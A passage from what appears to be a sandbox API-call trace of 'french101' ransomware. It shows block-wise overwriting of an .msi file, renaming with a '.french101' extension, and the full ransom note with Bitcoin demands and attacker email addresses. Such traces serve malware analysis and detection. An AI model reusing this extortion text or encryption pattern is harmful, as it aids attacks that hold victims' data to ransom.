dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x93de3 [0266.737] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.737] SetFilePointer (in: hFile=0x35c, lDistanceToMove=632692, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x9a774 [0266.737] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.737] SetFilePointer (in: hFile=0x35c, lDistanceToMove=686280, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xa78c8 [0266.737] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.737] SetFilePointer (in: hFile=0x35c, lDistanceToMove=702234, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xab71a [0266.737] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.737] SetFilePointer (in: hFile=0x35c, lDistanceToMove=721045, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xb0095 [0266.738] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.738] SetFilePointer (in: hFile=0x35c, lDistanceToMove=779599, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xbe54f [0266.738] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.738] SetFilePointer (in: hFile=0x35c, lDistanceToMove=817833, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xc7aa9 [0266.738] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.738] SetFilePointer (in: hFile=0x35c, lDistanceToMove=847878, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xcf006 [0266.739] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.739] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0266.739] GlobalLock (hMem=0x3f40004) returned 0x3aece20 [0266.739] GlobalHandle (pMem=0x3aece20) returned 0x3f40004 [0266.739] GlobalUnlock (hMem=0x3f40004) returned 0 [0266.739] GlobalReAlloc (hMem=0x3f40004, dwBytes=0x4000, uFlags=0x2) returned 0x3f40004 [0266.739] GlobalLock (hMem=0x3f40004) returned 0x3aece20 [0266.739] GlobalHandle (pMem=0x3aece20) returned 0x3f40004 [0266.739] GlobalUnlock (hMem=0x3f40004) returned 0 [0266.739] GlobalReAlloc (hMem=0x3f40004, dwBytes=0x6000, uFlags=0x2) returned 0x3f40004 [0266.739] GlobalLock (hMem=0x3f40004) returned 0x3aece20 [0266.739] GlobalHandle (pMem=0x3aece20) returned 0x3f40004 [0266.740] GlobalUnlock (hMem=0x3f40004) returned 0 [0266.740] GlobalReAlloc (hMem=0x3f40004, dwBytes=0x8000, uFlags=0x2) returned 0x3f40004 [0266.740] GlobalLock (hMem=0x3f40004) returned 0x3aece20 [0266.740] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0266.740] GlobalUnlock (hMem=0x3f40014) returned 0 [0266.740] GlobalHandle (pMem=0x3aece20) returned 0x3f40004 [0266.741] GlobalUnlock (hMem=0x3f40004) returned 0 [0266.741] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0266.741] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0266.741] GlobalUnlock (hMem=0x3f40004) returned 0 [0266.741] GlobalReAlloc (hMem=0x3f40004, dwBytes=0x8000, uFlags=0x2) returned 0x3f40004 [0266.741] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0266.741] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0266.741] GlobalUnlock (hMem=0x3f40004) returned 0 [0266.901] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0266.904] WriteFile (in: hFile=0x35c, lpBuffer=0x3e69be8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e69be8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.904] SetFilePointer (in: hFile=0x35c, lDistanceToMove=43410, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xa992 [0266.904] WriteFile (in: hFile=0x35c, lpBuffer=0x3e69fe8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e69fe8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.904] SetFilePointer (in: hFile=0x35c, lDistanceToMove=92085, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x167b5 [0266.904] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6a3e8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6a3e8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.904] SetFilePointer (in: hFile=0x35c, lDistanceToMove=120281, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1d5d9 [0266.904] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6a7e8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6a7e8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.905] SetFilePointer (in: hFile=0x35c, lDistanceToMove=135000, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x20f58 [0266.905] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6abe8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6abe8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.905] SetFilePointer (in: hFile=0x35c, lDistanceToMove=180307, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x2c053 [0266.905] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6afe8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6afe8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.905] SetFilePointer (in: hFile=0x35c, lDistanceToMove=221935, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x362ef [0266.905] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6b3e8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6b3e8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.905] SetFilePointer (in: hFile=0x35c, lDistanceToMove=247193, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x3c599 [0266.905] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6b7e8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6b7e8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.905] SetFilePointer (in: hFile=0x35c, lDistanceToMove=288035, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x46523 [0266.905] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6bbe8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6bbe8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.905] SetFilePointer (in: hFile=0x35c, lDistanceToMove=307608, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x4b198 [0266.905] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6bfe8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6bfe8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.906] SetFilePointer (in: hFile=0x35c, lDistanceToMove=355519, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x56cbf [0266.906] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6c3e8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6c3e8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.906] SetFilePointer (in: hFile=0x35c, lDistanceToMove=381891, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x5d3c3 [0266.906] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6c7e8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6c7e8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.906] SetFilePointer (in: hFile=0x35c, lDistanceToMove=413779, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x65053 [0266.906] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6cbe8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6cbe8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.906] SetFilePointer (in: hFile=0x35c, lDistanceToMove=448325, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x6d745 [0266.906] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6cfe8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6cfe8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.906] SetFilePointer (in: hFile=0x35c, lDistanceToMove=481714, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x759b2 [0266.906] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6d3e8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6d3e8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.906] SetFilePointer (in: hFile=0x35c, lDistanceToMove=514108, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x7d83c [0266.906] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6d7e8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6d7e8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.907] SetFilePointer (in: hFile=0x35c, lDistanceToMove=554922, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x877aa [0266.907] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6dbe8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6dbe8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.907] SetFilePointer (in: hFile=0x35c, lDistanceToMove=581089, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x8dde1 [0266.907] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6dfe8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6dfe8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.907] SetFilePointer (in: hFile=0x35c, lDistanceToMove=605667, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x93de3 [0266.907] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6e3e8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6e3e8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.907] SetFilePointer (in: hFile=0x35c, lDistanceToMove=632692, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x9a774 [0266.907] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6e7e8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6e7e8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.907] SetFilePointer (in: hFile=0x35c, lDistanceToMove=686280, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xa78c8 [0266.907] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6ebe8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6ebe8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.907] SetFilePointer (in: hFile=0x35c, lDistanceToMove=702234, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xab71a [0266.907] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6efe8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6efe8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.907] SetFilePointer (in: hFile=0x35c, lDistanceToMove=721045, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xb0095 [0266.908] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6f3e8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6f3e8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.908] SetFilePointer (in: hFile=0x35c, lDistanceToMove=779599, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xbe54f [0266.908] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6f7e8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6f7e8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.908] SetFilePointer (in: hFile=0x35c, lDistanceToMove=817833, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xc7aa9 [0266.908] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6fbe8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6fbe8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.908] SetFilePointer (in: hFile=0x35c, lDistanceToMove=847878, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xcf006 [0266.908] WriteFile (in: hFile=0x35c, lpBuffer=0x3e6ffe8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6ffe8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.908] SetFilePointer (in: hFile=0x35c, lDistanceToMove=872448, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xd5000 [0266.908] WriteFile (in: hFile=0x35c, lpBuffer=0x3e703e8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e703e8*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0266.908] WriteFile (in: hFile=0x35c, lpBuffer=0x3e95258*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesWritten=0x19e7d8*=0x182, lpOverlapped=0x0) returned 1 [0266.909] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0266.909] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.909] CloseHandle (hObject=0x35c) returned 1 [0266.930] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\0ddYhtihEnON4DYged=tnvJRa7Ly2RNFpqHOxDvupcmn0moBCuCN2RwMccQ.french101" (normalized: "c:\\588bce7c90097ed212\\0ddyhtihenon4dyged=tnvjra7ly2rnfpqhoxdvupcmn0mobcucn2rwmccq.french101")) returned 1 [0266.931] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\0ddYhtihEnON4DYged=tnvJRa7Ly2RNFpqHOxDvupcmn0moBCuCN2RwMccQ.french101" (normalized: "c:\\588bce7c90097ed212\\0ddyhtihenon4dyged=tnvjra7ly2rnfpqhoxdvupcmn0mobcucn2rwmccq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0266.931] SetFileTime (hFile=0x35c, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0266.931] CloseHandle (hObject=0x35c) returned 1 [0266.931] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\0ddYhtihEnON4DYged=tnvJRa7Ly2RNFpqHOxDvupcmn0moBCuCN2RwMccQ.french101", dwFileAttributes=0x80) returned 1 [0266.932] CloseHandle (hObject=0x35c) returned 0 [0266.932] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0266.932] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0266.932] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.932] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0266.935] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0266.935] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0266.935] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.935] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0266.935] GlobalUnlock (hMem=0x3f40004) returned 0 [0266.935] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0266.935] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da1d0 [0266.936] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0266.936] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0266.936] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0266.936] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0266.937] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0266.937] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0266.937] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0266.937] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0266.937] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0266.937] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0266.937] ReadFile (in: hFile=0x35c, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0266.937] CloseHandle (hObject=0x35c) returned 1 [0266.937] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0266.937] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0266.937] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0266.937] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0266.938] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0266.938] GlobalUnlock (hMem=0x3f40004) returned 0 [0266.938] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0266.938] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0266.938] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0266.938] GlobalUnlock (hMem=0x3f40004) returned 0 [0266.938] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0266.938] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.938] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0266.938] CharLowerBuffW (in: lpsz="netfx_Extended_x86.msi", cchLength=0x16 | out: lpsz="netfx_extended_x86.msi") returned 0x16 [0266.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0266.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0266.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0266.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, 